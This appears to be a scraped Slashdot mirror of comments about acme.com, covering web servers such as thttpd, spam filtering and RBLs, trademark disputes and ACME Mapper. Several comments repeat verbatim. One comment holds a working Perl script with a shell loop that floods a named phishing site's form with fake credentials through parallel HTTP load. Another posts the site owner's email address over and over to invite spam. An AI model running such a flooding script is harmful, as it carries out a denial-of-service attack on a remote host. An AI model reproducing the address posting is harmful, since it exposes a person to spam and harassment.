Slashdot Mirror

Peerguardian has nothing to do with spam, primarily its designed to keep the RIAA and MPAA (and thier slimy bloodhounds) from connecting to your PC whilst you are using P2P file sharing software. Of course, you can add known spammers to your list of Ip's to block, but this really isnt an RBL system for e-mail.

As for the flaw of RBL's, I do agree that they are not perfect. A much better blacklisting scheme is to generate your own local temporary blacklists based on mail (and mailservers) which appear to be spamming. http://www.acme.com/mail_filtering/introduction_fr ameset.html has a good article on such things. By and large though, you are right, RBL's fall down because they are not Realtime enough. They don't adapt to false negative or positive conditions fast enough to be relied on as a anti-spam measure.

You can have as many sites running as you like under different ports and addresses in a single version of IIS or Apache.

I can think of three reasons: speed, simplicity and security. Say, one web server that only serves up static files, nothing more - and is fast at it, with a locked-down configuration. Another for dynamic content, with all the complications that ensue.

Ideally, you'd put these webservers on separate boxes (or farms of boxes), but budgets may dicatate that they share a box. Personally I'd also use thttpd for the only-static portion, as it's faster, simpler, and easier to secure.

Ok,

Weighing in with my two cents worth, for what it's worth, I'd like to brain dump what I would consider worth while options for your needs. All of these are solutions I either have used in the past successfully, or am currently using for various purposes. So bear in mind that this is not just the causal musings of a thread cruiser, but actual tried and proven solutions ;-)

First some basic assumptions:

1) You want to run some form of Unix or Unix like system ( i.e. Linux ) - you've noted you currently use your Apple PowerBook laptop, so one has to assume you're running Mac OS X 10.x.x natively ( more power to you ).

2) You want complete control over the system including "root" access 24/7 - this is of course the whole point of having your own system, you can beat it up, break it, rebuild it, and all that jazz.

3) The system should be able to be run remotely, even if just headless on your LAN, or perhaps more ideally remotely from some external 3rd party in a hosted solution so you don't end up having to host it behind your link at home ( also making it easier for you to provide access to other parties should you want to either share it with friends and family or if you just want to make it world visible for whatever reason - i.e. your own mail and web server et al ).

4) You want an "always on" solution, so this should be something that, as you state, should not suck too much juice power wise, is able to be built with a "standard build" style hardened platform, which in the case of power loss would ideally recover nicely, quickly, and be back on line ( I'll touch on this later as standard builds are going to make your life so much simpler and fun ).

5) The performance of the system ideally should be such that it will cope with the key elements you've noted in your post, such as:

a) remote access such as remote sessions via SSH won't kill the system

b) able to run a web server such as:

thttpd: http://www.acme.com/software/thttpd/
Apache: http://www.apache.org/
mathopd: http://mathop.diva.nl/
Roxen: http://www.roxen.com/
Boa: http://www.boa.org/
Jigsaw: http://www.w3.org/Jigsaw/ ( written in Java )
Acme.Serve: http://www.acme.com/java/software/Acme.Serve.Serve .html ( written in Java )
CERN: http://www.w3.org/hypertext/WWW/Daemon/Status.html
NCSA: http://hoohoo.ncsa.uiuc.edu/
Netscape FastTrack: http://home.netscape.com/ ( not sure if it's still available )
Netscape Enterprise: http://home.netscape.com/ ( not sure if it's still available )
Zeus: http://www.zeus.co.uk/

source: http://www.acme.com

Ok,

Weighing in with my two cents worth, for what it's worth, I'd like to brain dump what I would consider worth while options for your needs. All of these are solutions I either have used in the past successfully, or am currently using for various purposes. So bear in mind that this is not just the causal musings of a thread cruiser, but actual tried and proven solutions ;-)

First some basic assumptions:

1) You want to run some form of Unix or Unix like system ( i.e. Linux ) - you've noted you currently use your Apple PowerBook laptop, so one has to assume you're running Mac OS X 10.x.x natively ( more power to you ).

2) You want complete control over the system including "root" access 24/7 - this is of course the whole point of having your own system, you can beat it up, break it, rebuild it, and all that jazz.

3) The system should be able to be run remotely, even if just headless on your LAN, or perhaps more ideally remotely from some external 3rd party in a hosted solution so you don't end up having to host it behind your link at home ( also making it easier for you to provide access to other parties should you want to either share it with friends and family or if you just want to make it world visible for whatever reason - i.e. your own mail and web server et al ).

4) You want an "always on" solution, so this should be something that, as you state, should not suck too much juice power wise, is able to be built with a "standard build" style hardened platform, which in the case of power loss would ideally recover nicely, quickly, and be back on line ( I'll touch on this later as standard builds are going to make your life so much simpler and fun ).

5) The performance of the system ideally should be such that it will cope with the key elements you've noted in your post, such as:

a) remote access such as remote sessions via SSH won't kill the system

b) able to run a web server such as:

thttpd: http://www.acme.com/software/thttpd/
Apache: http://www.apache.org/
mathopd: http://mathop.diva.nl/
Roxen: http://www.roxen.com/
Boa: http://www.boa.org/
Jigsaw: http://www.w3.org/Jigsaw/ ( written in Java )
Acme.Serve: http://www.acme.com/java/software/Acme.Serve.Serve .html ( written in Java )
CERN: http://www.w3.org/hypertext/WWW/Daemon/Status.html
NCSA: http://hoohoo.ncsa.uiuc.edu/
Netscape FastTrack: http://home.netscape.com/ ( not sure if it's still available )
Netscape Enterprise: http://home.netscape.com/ ( not sure if it's still available )
Zeus: http://www.zeus.co.uk/

source: http://www.acme.com

Ok,

Weighing in with my two cents worth, for what it's worth, I'd like to brain dump what I would consider worth while options for your needs. All of these are solutions I either have used in the past successfully, or am currently using for various purposes. So bear in mind that this is not just the causal musings of a thread cruiser, but actual tried and proven solutions ;-)

First some basic assumptions:

1) You want to run some form of Unix or Unix like system ( i.e. Linux ) - you've noted you currently use your Apple PowerBook laptop, so one has to assume you're running Mac OS X 10.x.x natively ( more power to you ).

2) You want complete control over the system including "root" access 24/7 - this is of course the whole point of having your own system, you can beat it up, break it, rebuild it, and all that jazz.

3) The system should be able to be run remotely, even if just headless on your LAN, or perhaps more ideally remotely from some external 3rd party in a hosted solution so you don't end up having to host it behind your link at home ( also making it easier for you to provide access to other parties should you want to either share it with friends and family or if you just want to make it world visible for whatever reason - i.e. your own mail and web server et al ).

4) You want an "always on" solution, so this should be something that, as you state, should not suck too much juice power wise, is able to be built with a "standard build" style hardened platform, which in the case of power loss would ideally recover nicely, quickly, and be back on line ( I'll touch on this later as standard builds are going to make your life so much simpler and fun ).

5) The performance of the system ideally should be such that it will cope with the key elements you've noted in your post, such as:

a) remote access such as remote sessions via SSH won't kill the system

b) able to run a web server such as:

thttpd: http://www.acme.com/software/thttpd/
Apache: http://www.apache.org/
mathopd: http://mathop.diva.nl/
Roxen: http://www.roxen.com/
Boa: http://www.boa.org/
Jigsaw: http://www.w3.org/Jigsaw/ ( written in Java )
Acme.Serve: http://www.acme.com/java/software/Acme.Serve.Serve .html ( written in Java )
CERN: http://www.w3.org/hypertext/WWW/Daemon/Status.html
NCSA: http://hoohoo.ncsa.uiuc.edu/
Netscape FastTrack: http://home.netscape.com/ ( not sure if it's still available )
Netscape Enterprise: http://home.netscape.com/ ( not sure if it's still available )
Zeus: http://www.zeus.co.uk/

source: http://www.acme.com

... after hosting using Exim3 and Exim4, Postfix, and Sendmail... if i were doing a "Large" config again (read 1000+ domains, 30k+ accounts) I wouldn't consider anything *but* sendmail. It's not the easiest, newest, or anything like that, but it does scale extremely well. The setup I'm currently using (about 10 domains, 70ish accounts) is:

Exim4 SMTP
Dovecott IMAP and POP3
Bogofilter
Spamassassin (SA-Exim)
Clam-AV

It's a rocking system, I'm currently having about 18000 messages a day tossed at me of which about ~17000 are spam. My personal accounts were getting about 2500 spam/day until I enabled all the anti-spam software and virus removal. I now get about 1-2 Spam a day and I've not had a single false positive.

For a small mid range setup I would probally use exim4. It's simple, has great features, and it's nice to have spamassassin at smtp time instead of having to process the entire message.

I don't recommend standard RBL's, however, the URI RBL's are *extremely* effective and an order of magnatude more sane in what they block (eg: if the message contains a link to viagraforyou.com it blocks the message, rather than blocking random dsl servers and /16 netblocks of ip addresses to catch a single spammer... some of the standard rbl's are nutzo.)

Theres a nice tutorial and informational link about using all the good features of sendmail and several additional ideas and theories on what is effective and what isn't at http://acme.com/mail_filtering/ the guy gets *insane* quantities of mail (mostly spam) and tells how he deals with it.

Synopsis: Large site- Sendmail, Medium/Small Site- Exim4.

Alot of people like qmail and postfix over sendmail and exim, but I just don't care for them having used them. Although if forced to choose between postfix and qmail it would be qmail.

Nod, try greylisting, that helps a ton too. Most spammers don't use real mail servers that comply with the rfc's... so generally if you missed the mail on the first run you're not going to get it.

There was an excellent piece on slashdot a while back about spamfiltering... infact here's a link to it: http://acme.com/mail_filtering/ killer stuff there on prevention. He gets a level of spam that would put me outta my mind.

How about thttpd? It is used by a lot of companies to serve static content where Apache would be overwhelmed.

Seriously though, for a lot of tasks these days I use the more lightweight thttpd daemon. Uber-simple config files, very low overhead, supports per-URL throttling out of the box. It's superb for image servers, or pretty much any application where you don't need dynamic pages - and believe me, there are still plenty of places you don't need dynamic code.

Interestingly enough, the owner of the acme.com domain who was recently featured in a story due to his getting more than a million spam mails (well, attempts to send spam) a day, agrees:

DNS-RBLs - Domain Name System Realtime Black Lists. In theory the idea is fine. You have a set of sites that you blacklist, and you want to let other folks use the same list so you distribute it using DNS, which is a nice efficient de-centralized database. What's not to like?

Well, I don't know why, but in practice every single DNS-RBL eventually comes under the control of power-hungry weenies. They start listing sites unreliably, and if you complain you find yourself listed. And there's usually no way to get off the list.

A lot of people tell me I'm wrong about this. They say that certain DNS-RBLs are ok, with objective criteria for inclusion and simple procedures for getting off the list. The thing is, they give conflicting recommendations for which lists are good and which are bad. Some of these folks recommend lists which I know from personal experience are bad.

This problem is really inherent in the way DNS-RBLs are set up. You cede control of your mail system to a third party, with no real possibility of checking how they are doing. The people running the lists get overwhelmed with bogus feedback from spammers and/or idiots, to the point where they assume all their mail about the lists is from spammers and/or idiots.

If the lists you use have not yet descended into corruption and chaos, consider yourself temporarily lucky.

Do not use DNS-RBLs.

(from http://www.acme.com/mail_filtering/shame_frameset. html)

BS Detector is going off.

From http://www.acme.com/mail_filtering/background_fram eset.html

Acme.com's web site is fairly popular - we get about 25,000 visitors per day. That means our web pages are cached on a lot of people's disks. Well, one way that spammers and viruses find addresses to send to is by looking in those web cache files on machines they have taken over.

Hah. My corporate website averages 200,000 to 220,000 IPs per day. Total number of emails on any given day is about 20,000 emails - of which probably only a few hundred are legitimate. Not only is his statistic probably made up, but if 25,000 people per day are going to acme.com to read his incredibly insightful articles?? How many of you have heard of *evil* websites reading your email addresses?

Let's be realistic, if he really things the W3C specification is the reason why he gets "1 million spasm per day" - then why has his traffic only increased in the last few months? (he claims on the same link above that he was only getting 150,000 spams per day in mid 2004).

So the important thing to remember here is to post your shameless, made up, website with a CV to Slashdot to get a no-brain job interview.

Like many schemes that reject mail during the SMTP phase, this talks about false positives, but with little idea about the true rate. This can be dangerous.

For example, http://www.acme.com/mail_filtering/blackmilter_fra meset.html discusses "Wormy", an 'early & cheap blacklist that is still accurate.' It works by grepping out IPs of hosts that delivered mail that ClamAV said was malware, and then turning those IPs into a blacklist for "a day or two".

This initially seems to work, but if you try it out and *measure it with real mail, including ham*, what you'll discover is that large ISP mail gateways show up on the list very quickly. I know of other occasions where it's been tried, and abandoned, due to this issue.

However, Blackmilter, the component that uses Wormy, is listed as having "low" false positives in this document.

"Spammer" is vulnerable to the same problem.

"Persistent" will additionally have a similar problem, in that if you measure spam volume without also measuring overall (ham+spam) volume, you'll unfairly penalise hosts that send a lot of mail in general -- even if only 0.5% of that is spam.

In general, I think jef is probably justified in taking a hardline approach at those volumes -- but if you're thinking of trying out some of these approaches, be sure to apply a pinch of NaCl.

Jef P (of acme.com fame) probably runs one of his own servers, like thttpd. It's actually quite robust. If he's slashdotted, I suspect it'shis T1 being overwhelmed.

--Pat

Hardware info here. It's a 3.2 GHz P4. I was struggling along on a 450 MHz box until only a year ago, but finally had to upgrade.

$ telnet acme.com 25
Trying 216.27.178.28...
telnet: Unable to connect to remote host: Connection refused
$ telnet acme.com 25
Trying 216.27.178.28...
Connected to gate.acme.com.
Escape character is '^]'.
220 gate.acme.com ESMTP Sendmail; Wed, 8 Jun 2005 12:07:39 -0700 (PDT)

Here, I'll help you maintain your record. No need to thank me.

jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com

Here, I'll help you maintain your record. No need to thank me.

jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com

Here, I'll help you maintain your record. No need to thank me.

jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com

Here, I'll help you maintain your record. No need to thank me.

jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com

Here, I'll help you maintain your record. No need to thank me.

jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com

Here, I'll help you maintain your record. No need to thank me.

jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com

Here, I'll help you maintain your record. No need to thank me.

jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com

Here, I'll help you maintain your record. No need to thank me.

jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com
jef@mail.acme.com

For those too lazy to RTFA, his hall of shame is interesting -- especially the AOL bit *insert generic AOL hate*

The one that springs to mind is thttpd.

It is small and fast. If M$ has modularlized things, they should be able to extend thttpd and make it work for them.

Here are some benchmarks.

The one that springs to mind is thttpd.

It is small and fast. If M$ has modularlized things, they should be able to extend thttpd and make it work for them.

Here are some benchmarks.

796409 and 1!

Factor it!

Well, what do you know. It is prime! Guess a particular AC just woke up on the wrong side of the bed this morning.

Why not try the ACME Motherboard Finder

This is why really high traffic websites run simple httpds like thttpd which is very small and very efficent, unlike Apache.

Okay, so it's not so much discovery as rediscovery, but an industrial archaeologist like myself can find all sorts of interesting railroad remains using mapper.acme.com or my interface to the same data mapview. I like to play "spot the hidden trolley" north of Canandaigua, or south of Minneto.
-russ

Okay, so it's not so much discovery as rediscovery, but an industrial archaeologist like myself can find all sorts of interesting railroad remains using mapper.acme.com or my interface to the same data mapview. I like to play "spot the hidden trolley" north of Canandaigua, or south of Minneto.
-russ

Okay, so it's not so much discovery as rediscovery, but an industrial archaeologist like myself can find all sorts of interesting railroad remains using mapper.acme.com or my interface to the same data mapview. I like to play "spot the hidden trolley" north of Canandaigua, or south of Minneto.
-russ

So if I want to get medical work done by BosleyMedical, I have a right to use their website.

Of course you do.
However THIS IS NOT THEIR WEBSITE.

Just because you make a guess that you'll find Microsoft headquarters at the physical street address 1 Microsoft Way does not mean you have a right to find Microsoft headquarters when you go to that street address, and it does not make someone else a criminal if they live there.

Just because you guess that Pizza Pi's phone number is 1-800-314-1592 does not mean you have a right to find them at that phone number. It does not make someone else a criminal for having that number.

If someone tries to use fraud or deciet in tricking me

Of course.
However HIS WEBSITE IS NOT DECEPTIVE. There is zero chance any sane person looking at that site would be confused who he was.

If he was trying to deceive people into thinking he was this medical company then that would be trademark infringment. Trademark law protects against fraud and deception and confusion. It does *NOT* protect wild guesses, and it does not protect you from learning that your wild guess was wrong.

Buy heay, lets assume you're right. Lets assume you SHOULD be able to type in a trademark and slap a dot-com on the end and actually find the company you wanted to find at that address. Ok, without looking at the website... how about you tell me who you will find at Stax.com? Who you should find at Stax.com?

Let me give you some help. Is it supposed to be:
Stax the freight transportation company?
Stax the computer game company?
Stax the action skill game company?
Stax the military/police body armor company?
Stax the cosmetics company?
Stax the magic marker company?
Lay's potato chip company's website for their Stax chips?
Stax electrical connectors?
Candy Stax?
Stax plastic lid supports for inside pizza boxes?
Stax mugs?
Stax records and CDs?
Stax storage shelf files?
Stax inventory control services?
By the way, the US Government patent and trademark office has FOURTY THREE live trademark listings for "Stax". Oh, and by the way the US does not have some monopoly on trademarks. There are god-knows-how-many VALID Stax trademarks in other countries.

Anyone who types in X.com hoping to find some specific company is GUESSING at the address. There can be a HUNDRED companies with the trademark "X". There are a HUNDRED AND THRITY SIX trademark listings for ACME. The website ACME.com is not ANY of those companies, it is a free software website.

-

Mapquest USED to have a switch for photos, it went away some months ago.

http://mapper.acme.com/ has zip code and lat long resolved to topos and aerial photos.

Note that a lot of these are actually aerial photo surveys, not satellite images.

#!/usr/bin/perl

## antiphisher.pl
## (c) 2005 Chris Snell
## c-j-s-n-e-l-l_A-T_-_g-m-a-i-l_D-O-T_C-O-M
## You better be damned careful because this
## script can get you in an arseload of trouble!

# You'll need to install the String::Random module
use String::Random;

# How many URLs are we going to generate? I
# suggest using about 80 or so, to keep
# http_load from being overwhelmed. We will
# run these URLs for a few minutes and then
# generate a fresh batch
my $COUNT = 80;

my $rand = new String::Random;

# this array contains all INPUT tags whose values
# are user-supplied (ie. input fields)
my @inputs = qw { firstname MI lastname card_number card_cvv card_pin username password };

my %rand_input;
my $i = $COUNT;

while ($i-- > 0) {

# iterate through the list of inputs
foreach my $an_input (@inputs) {

# generate an 8-digit random value
# for each, and store it in the rand_input
# hash
$rand_input{$an_input} = $rand->randpattern("........");

# The input will likely contain
# non-alphanumeric characters, so we get
# rid of those. This has the nice side
# effect of giving us inputs of
# radomly-varying lengths
$rand_input{$an_input} =~ s/[^a-zA-Z0-9]//g;
}

# This is where you specify the URL of the
# script that will process the form
# submission.
# Note that I have defined a few static inputs
# here, which were derived from TYPE=HIDDEN
# INPUT tags in the phisher's form. You might
# want to change the values to make sure that
# the phisher is not able to associate your
# e-mail address with your attack.
my $url_base = 'http://logon.personal.wamu4u.com:280/login/script .php?hdnVal=1&h
dnSi=37503603&txtUserID&pwdPasswo rd';

# construct the final URL from our base and
# our random inputs
foreach my $param (keys %rand_input) {
$url_base .= '&' . $param . '=' . $rand_input{$param};
}

# Print the URL to stdout
print "$url_base\n";

}

################## END OF antiphisher.pl #######

Now you'll need to run http_load with a fresh batch of URLs every minute or so:

#!/bin/sh

while true; do
./antiphisher.pl > urls.txt
http_load -parallel 30 -seconds 60 urls.txt
done

I have another script that uses LWP::UserAgent to make the requests, which I wrote when a crafty phisher rejected submissions where HTTP_REFERER was not his phorm.

E-mail me with questions c-j-s-n-e-l-l_A-T_-_g-m-a-i-l_D-O-T_C-O-M

Chris

" I think They Might be Giants defined what it was to be a star fairly well."

Yes. It was a cover though. Science Songs. Check out "Why Does The Sun Shine" on the space album.

Singing Science Records

The Ballad of Sir Isaac Newton is also not to be missed.

Apache 2 and a recent Linux kernel come pretty close to the theoretical limits of the hardware when it comes to serving static content. It just loafs along while saturating whatever net connection you give it. It's worth trying out.

For serving static content, thttpd absolutely blows both versions of Apache away, so I'm not sure what theoretical limit you're talking about, but perhaps that theory needs some revision.

Don't get me wrong; I think Apache is great, and I've used both 1.x and 2.x successfully with PHP, but if all you're doing is serving static content, Apache is absolutely the wrong tool for the job.

they want to make sure everyone is nice and compliant about upgrading when they decide to take httpd over to java like all the other java kool-aid they are selling --- Maven is Jonestown, lets all program in XML because its standard! Cultures breakdown when there is too little disent and questioning of authority, the apache foundtion is headed in that direction.

Lets move on, SOA and all that, most people don't need any of this mod_* crap and could use:
thttpd he has other servers there, too and http_load.
lighttpd I'm moving to this sweet little server for most apps and the home site runs ea php and ruby on rails
AOLServer like OpenACS runs on
Boa
fnord from our boy who did the (in)famous benchmarks
Cherokee I root for this one for some reason.
gatling
cthulhu
yaws in erlang, should support more simul. connections than the unlying OS can support.
dhttpd
Litespeed check out their php benchmarks
thy
roxen
mini-httpd never tried this one
xitami I have a intranet server running for 5 yrs (without upgrading xitami) on xitami Solaris, simple, small, easy to admin, never dies max uptime was 1000 days+.
eddiefor complex load bal and geographic distribution
hiawatha

And for the love of god, please at least design your sites to get their images from images.mysite.com if possible so that you can use a non-bloatware web server to server the images, reserving horsepower on your apache server for stuff that actually _requires_ some features of apache.

http://www.hcsw.org/awhttpd/ updated on 12-06-2004
http://www.norz.org/zawhttpd.html
http://cr.yp.to/publicfile.html

My main server is a low-end notebook. It passes packets, does SMTP, file serving etc quite nicely. Unfortunately apache is just way too heavyweight for it; I use thttpd instead, which is smaller and faster.

I'd like to set up a WebDAV server. But I don't want to have to replace thttpd. Are there any small, light tools that will just do WebDAV and nothing else, that I can add to my setup?

As others have suggested, you may already be in over your head. But even to pick a consultant, you need to have a rough idea of the options and their cost/benefit trade-offs. The large vendors: IBM, Sun, Microsoft etc and some second-tier vendors such as Netscape and BEA have overviews of the application and architecture of their products on their respective web sites...that will cost you a day of reading and give you a headache from reading conflicting claims of superiority BUT, you will know the jargon and the current technology. Reading a book or two would't hurt but they tend not to be completely up to date. Also, look up SOA...the buzzword du jour in buiding web-delivered business services. If you have not googled already, you really ought. My first hit was a comparison of the performance of a dozen web servers with clear graphics and concise info on suggested benchmarking techniques.
In addition to hardware [do I need RAID? etc], and OS and web server infrastructure issues, don't forget you implentation language choice...what pool of programming skills will be available to write the code? for instance, here is how Perl stacks up but you have many choices these days.
And above all never forget "SH*T HAPPENS": how and how often and what are you backing up in case of crashes, fires etc.

aych-tee-tee-pee-colon-slash-slash-wee-wee-wee-dot -ay-see-em-eeh-dot-com-slash-eff-ay-queue:

That link has a funny 404...

There are aerial photos available RIGHT NOW on http://www.acme.com/mapper/

That happened a while ago. :)
http://www.acme.com/software/decss/

Soekris have a $15 dollar drive adapter kit which allows you to mount a laptop drive in the standard case (no soldering involved). I have two of the 4801s, one using a flash card and the other using a 15GB laptop drive.
The USB port also works reliably with plug-in keyholder style flash and OpenBSD runs beautifully on these boxes. My other recommendation for the guy who was looking for a web server... try thttpd.
It's pretty much a custom fit for a small web server running out of flash on a machine like this.

Okay, okay, of course Jef Poskanzer should be nominated. He's written all sorts of cool software (including pbmplus, which I've used about every other day for the last twenty years or whatever), and has some really neato hacks on his web page, including ACME Mapper, which I also use every day.
-russ

Apache is extremely complicated and therefore a potentail rats nest of potential security holes. Please don't get me wrong here: I like Apache very much for its great flexibility, yet I helped a lot of security aware companies to migrate to thttpd because they wanted a code base that could be scrutinized in a reasonable amount of time. Most web apps really don't need the flexibility of Apache anyway, and those who do, will have to be run in secure environments like, say, jails or other virtualized environments.

Your move Bill.

:P

Here's where you can find info on thttpd running CGIs.

It appears, from their benchmarks, that performance running test C CGI's is very good for thttpd.

Seems like it might be best for simpler scripts, tough, as it appears that CGI execution is serialized, so "...one long running
script will block all other requests." Here's another explanation.

Here's where you can find info on thttpd running CGIs.

It appears, from their benchmarks, that performance running test C CGI's is very good for thttpd.

Seems like it might be best for simpler scripts, tough, as it appears that CGI execution is serialized, so "...one long running
script will block all other requests." Here's another explanation.